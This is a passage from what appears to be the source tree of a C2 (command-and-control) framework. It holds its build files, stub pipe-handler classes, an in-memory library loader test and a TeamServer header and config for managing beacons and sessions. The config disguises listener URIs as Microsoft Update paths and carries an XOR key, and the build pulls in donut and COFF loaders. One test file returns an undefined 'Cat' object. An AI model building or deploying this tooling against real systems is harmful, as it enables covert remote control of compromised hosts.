2 | set_property(TARGET TestsMemoryModule PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
3 | target_link_libraries(TestsMemoryModule MemoryModule )
4 |
5 |
6 |
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/tests/Tests.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "MemoryModule.h"
4 |
5 | typedef void* (*constructProc)();
6 |
7 |
8 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so
9 | int main()
10 | {
11 | std::string inputFile = "libtest.so";
12 |
13 | std::ifstream input;
14 | input.open(inputFile, std::ios::binary);
15 |
16 | if( input )
17 | {
18 | std::string buffer(std::istreambuf_iterator(input), {});
19 |
20 | void* handle = NULL;
21 | handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());
22 | if (handle == NULL)
23 | {
24 | return false;
25 | }
26 |
27 | std::string funcName = "TestConstructor";
28 |
29 | constructProc construct;
30 | construct = (constructProc)MemoryGetProcAddress(handle, funcName.c_str());
31 | if(construct == NULL)
32 | {
33 | return false;
34 | }
35 |
36 | construct();
37 |
38 | MemoryFreeLibrary(handle);
39 |
40 | return true;
41 | }
42 |
43 | return false;
44 | }
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/tests/libtest.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so
4 |
5 | class Test
6 | {
7 | public:
8 | Test();
9 | ~Test();
10 | };
11 |
12 |
13 | #ifdef _WIN32
14 | extern "C" __declspec(dllexport) Test * TestConstructor();
15 | #else
16 | extern "C" __attribute__((visibility("default"))) Test * TestConstructor();
17 | #endif
18 |
19 |
20 | #ifdef _WIN32
21 | __declspec(dllexport) Test* TestConstructor()
22 | {
23 | return new Cat();
24 | }
25 | #else
26 | __attribute__((visibility("default"))) Test* TestConstructor()
27 | {
28 | return new Test();
29 | }
30 | #endif
31 |
32 |
33 | Test::Test()
34 | {
35 | std::cout << "Test Constructor" << std::endl;
36 | }
37 |
38 |
39 | Test::~Test()
40 | {
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/libs/libPipeHandlerDumy/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.24)
2 | project(PipeHandler VERSION 1.0.0 LANGUAGES CXX)
3 |
4 | set(DEFAULT_BUILD_TYPE "Release")
5 | set(CMAKE_CXX_STANDARD 14)
6 | set(CMAKE_CXX_STANDARD_REQUIRED ON)
7 |
8 | set(SOURCE_FILES
9 | src/PipeHandler.cpp
10 | )
11 |
12 | include_directories(../src)
13 |
14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
15 | target_include_directories(${PROJECT_NAME} PUBLIC src)
16 |
--------------------------------------------------------------------------------
/libs/libPipeHandlerDumy/README.md:
--------------------------------------------------------------------------------
1 | # PipeHandler
2 |
3 | ## Requirement
4 |
5 | Client can connect and disconnect at any time.
6 |
7 | Server can connect and disconnect at any time.
8 |
9 | Multiple client should be able to connect to the same server.
10 |
11 | Client and Server are monothread.
--------------------------------------------------------------------------------
/libs/libPipeHandlerDumy/src/PipeHandler.cpp:
--------------------------------------------------------------------------------
1 | #include "PipeHandler.hpp"
2 |
3 |
4 | using namespace PipeHandler;
5 |
6 |
7 | // https://learn.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server
8 | Server::Server(const std::string& pipeName)
9 | {
10 | m_pipeName="\\\\.\\pipe\\";
11 | m_pipeName+=pipeName;
12 | }
13 |
14 |
15 | Server::~Server()
16 | {
17 | }
18 |
19 |
20 | bool Server::reset()
21 | {
22 | return true;
23 | }
24 |
25 |
26 | bool Server::initServer()
27 | {
28 | return true;
29 | }
30 |
31 |
32 | bool Server::sendData(std::string& data)
33 | {
34 | return true;
35 | }
36 |
37 |
38 | bool Server::receiveData(std::string& data)
39 | {
40 | return true;
41 | }
42 |
43 |
44 | // https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
45 | Client::Client(const std::string& ip, const std::string& pipeName)
46 | {
47 |
48 | }
49 |
50 |
51 | Client::~Client()
52 | {
53 |
54 | }
55 |
56 |
57 | bool Client::initConnection()
58 | {
59 | return true;
60 | }
61 |
62 |
63 | bool Client::closeConnection()
64 | {
65 | return true;
66 | }
67 |
68 |
69 | bool Client::reset()
70 | {
71 | return true;
72 | }
73 |
74 |
75 | bool Client::sendData(std::string& data)
76 | {
77 | return true;
78 | }
79 |
80 |
81 | bool Client::receiveData(std::string& data)
82 | {
83 | return true;
84 | }
85 |
86 |
87 |
--------------------------------------------------------------------------------
/libs/libPipeHandlerDumy/src/PipeHandler.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 |
8 | namespace PipeHandler
9 | {
10 |
11 | class Server
12 | {
13 | public:
14 | Server(const std::string& pipeName);
15 | ~Server();
16 |
17 | bool initServer();
18 |
19 | bool sendData(std::string& data);
20 | bool receiveData(std::string& data);
21 |
22 | private:
23 | bool reset();
24 |
25 | bool m_isInit;
26 |
27 | std::string m_pipeName;
28 | };
29 |
30 |
31 |
32 | class Client
33 | {
34 | public:
35 | Client(const std::string& ip, const std::string& pipeName);
36 | ~Client();
37 |
38 | bool initConnection();
39 | bool closeConnection();
40 |
41 | bool sendData(std::string& data);
42 | bool receiveData(std::string& data);
43 |
44 | private:
45 | bool reset();
46 |
47 | bool m_isInit;
48 |
49 | std::string m_pipeName;
50 | };
51 |
52 | }
53 |
--------------------------------------------------------------------------------
/majSubmodules.sh:
--------------------------------------------------------------------------------
1 | cd core && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd -
2 | cd libs/libDns && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd -
3 | cd libs/libSocketHandler && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd -
4 | cd libs/libSocks5 && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd -
--------------------------------------------------------------------------------
/teamServer/CMakeLists.txt:
--------------------------------------------------------------------------------
1 |
2 | include_directories(../core)
3 | include_directories(../core/modules/ModuleCmd)
4 |
5 | set(SOURCES_TEAMSERVER
6 | teamServer/TeamServer.cpp
7 | ../core/listener/Listener.cpp
8 | ../core/listener/ListenerTcp.cpp
9 | ../core/listener/ListenerHttp.cpp
10 | ../core/listener/ListenerGithub.cpp
11 | ../core/listener/ListenerDns.cpp
12 | ../../thirdParty/base64/base64.cpp
13 | )
14 |
15 | ## TeamServer
16 | add_executable(TeamServer ${SOURCES_TEAMSERVER})
17 | if(WIN32)
18 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages openssl::openssl ${OPENSSL_CRYPTO_LIBRARY} ZLIB::ZLIB grpc::grpc spdlog::spdlog SocksServer)
19 | else()
20 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages pthread openssl::openssl ZLIB::ZLIB grpc::grpc spdlog::spdlog httplib::httplib SocksServer dl rt)
21 | endif()
22 |
23 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
24 | $ "${CMAKE_SOURCE_DIR}/Release/TeamServer/$")
25 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
26 | ${CMAKE_SOURCE_DIR}/teamServer/teamServer/TeamServerConfig.json "${CMAKE_SOURCE_DIR}/Release/TeamServer/TeamServerConfig.json")
27 |
28 | if(WITH_TESTS)
29 | add_executable(testsTestServer tests/testsTestServer.cpp )
30 | target_link_libraries(testsTestServer )
31 |
32 | add_custom_command(TARGET testsTestServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
33 | $ "${CMAKE_SOURCE_DIR}/Tests/$")
34 |
35 | add_test(NAME testsTestServer COMMAND "${CMAKE_SOURCE_DIR}/Tests/$")
36 | endif()
--------------------------------------------------------------------------------
/teamServer/teamServer/TeamServer.hpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "listener/ListenerTcp.hpp"
4 | #include "listener/ListenerHttp.hpp"
5 | #include "listener/ListenerGithub.hpp"
6 | #include "listener/ListenerDns.hpp"
7 |
8 | #include "modules/ModuleCmd/ModuleCmd.hpp"
9 |
10 | #include "SocksServer.hpp"
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #include "TeamServerApi.pb.h"
19 | #include "TeamServerApi.grpc.pb.h"
20 |
21 | #include "spdlog/spdlog.h"
22 | #include "spdlog/sinks/stdout_color_sinks.h"
23 | #include "spdlog/sinks/rotating_file_sink.h"
24 | #include "spdlog/sinks/basic_file_sink.h"
25 |
26 | #include "nlohmann/json.hpp"
27 |
28 |
29 | class TeamServer final : public teamserverapi::TeamServerApi::Service
30 | {
31 |
32 | public:
33 | explicit TeamServer(const nlohmann::json& config);
34 | ~TeamServer();
35 |
36 | grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer);
37 | grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response);
38 | grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response);
39 |
40 | grpc::Status GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer);
41 | grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response);
42 |
43 | grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response);
44 | grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer);
45 |
46 | grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse);
47 |
48 | grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response);
49 |
50 | protected:
51 | int handleCmdResponse();
52 | bool isListenerAlive(const std::string& listenerHash);
53 | int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows=true);
54 |
55 | private:
56 | nlohmann::json m_config;
57 |
58 | std::shared_ptr m_logger;
59 |
60 | std::vector> m_listeners;
61 | nlohmann::json m_credentials = nlohmann::json::array();
62 |
63 | std::vector> m_moduleCmd;
64 | CommonCommands m_commonCommands;
65 |
66 | std::string m_teamServerModulesDirectoryPath;
67 | std::string m_linuxModulesDirectoryPath;
68 | std::string m_windowsModulesDirectoryPath;
69 | std::string m_linuxBeaconsDirectoryPath;
70 | std::string m_windowsBeaconsDirectoryPath;
71 | std::string m_toolsDirectoryPath;
72 | std::string m_scriptsDirectoryPath;
73 |
74 | // Socks
75 | bool m_isSocksServerRunning;
76 | bool m_isSocksServerBinded;
77 | void socksThread();
78 |
79 | std::unique_ptr m_socksServer;
80 | std::unique_ptr m_socksThread;
81 | std::shared_ptr m_socksListener;
82 | std::shared_ptr m_socksSession;
83 |
84 | bool m_handleCmdResponseThreadRuning;
85 | std::unique_ptr m_handleCmdResponseThread;
86 | std::vector m_cmdResponses;
87 | std::unordered_map> m_sentResponses;
88 |
89 | std::vector m_sentC2Messages;
90 | };
91 |
--------------------------------------------------------------------------------
/teamServer/teamServer/TeamServerConfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "//LogLevelValues": "trace, debug, info, warning, error, fatal",
3 | "LogLevel": "info",
4 | "TeamServerModulesDirectoryPath": "../TeamServerModules/",
5 | "LinuxModulesDirectoryPath": "../LinuxModules/",
6 | "WindowsModulesDirectoryPath": "../WindowsModules/",
7 | "LinuxBeaconsDirectoryPath": "../LinuxBeacons/",
8 | "WindowsBeaconsDirectoryPath": "../WindowsBeacons/",
9 | "ToolsDirectoryPath": "../Tools/",
10 | "ScriptsDirectoryPath": "../Scripts/",
11 | "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface",
12 | "DomainName": "",
13 | "ExposedIp": "",
14 | "IpInterface": "eth0",
15 | "ServerGRPCAdd": "0.0.0.0",
16 | "ServerGRPCPort": "50051",
17 | "ServCrtFile": "server.crt",
18 | "ServKeyFile": "server.key",
19 | "RootCA": "rootCA.crt",
20 | "xorKey": "dfsdgferhzdzxczevre5595485sdg",
21 | "ListenerHttpConfig": {
22 | "uri": [
23 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
24 | "/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
25 | "/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
26 | ],
27 | "uriFileDownload": "/images/commun/1.084.4584/serv/",
28 | "downloadFolder": "../www",
29 | "server": {
30 | "headers": {
31 | "Access-Control-Allow-Origin": "true",
32 | "Connection": "Keep-Alive",
33 | "Content-Type": "application/json",
34 | "Server": "Server",
35 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload",
36 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent"
37 | }
38 | }
39 | },
40 | "ListenerHttpsConfig": {
41 | "ServHttpsListenerCrtFile": "localhost.crt",
42 | "ServHttpsListenerKeyFile": "localhost.key",
43 | "uri": [
44 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
45 | "/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
46 | "/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
47 | ],
48 | "uriFileDownload": "/images/commun/1.084.4584/serv/",
49 | "downloadFolder": "../www",
50 | "server": {
51 | "headers": {
52 | "Access-Control-Allow-Origin": "true",
53 | "Connection": "Keep-Alive",
54 | "Content-Type": "application/json",
55 | "Server": "Server",
56 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload",
57 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent"
58 | }
59 | }
60 | }
61 | }
--------------------------------------------------------------------------------
/teamServer/tests/testsTestServer.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 |
4 |
5 |
6 | int main()
7 | {
8 | return 0;
9 | }
--------------------------------------------------------------------------------
/thirdParty/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | # donut
2 | file(COPY ${CMAKE_SOURCE_DIR}/thirdParty/donut DESTINATION ${CMAKE_BINARY_DIR}/thirdParty)
3 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/thirdParty/donut && make -f Makefile")
4 | set(Donut "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/libdonut.a" PARENT_SCOPE)
5 | set(aplib64 "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/aplib64.a" PARENT_SCOPE)
6 |
7 | ## coffLoader
8 | add_subdirectory(coffLoader)
9 |
10 |
11 |
--------------------------------------------------------------------------------
/thirdParty/coffLoader/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | add_subdirectory(coffLoader)
2 | add_subdirectory(coffPacker)
--------------------------------------------------------------------------------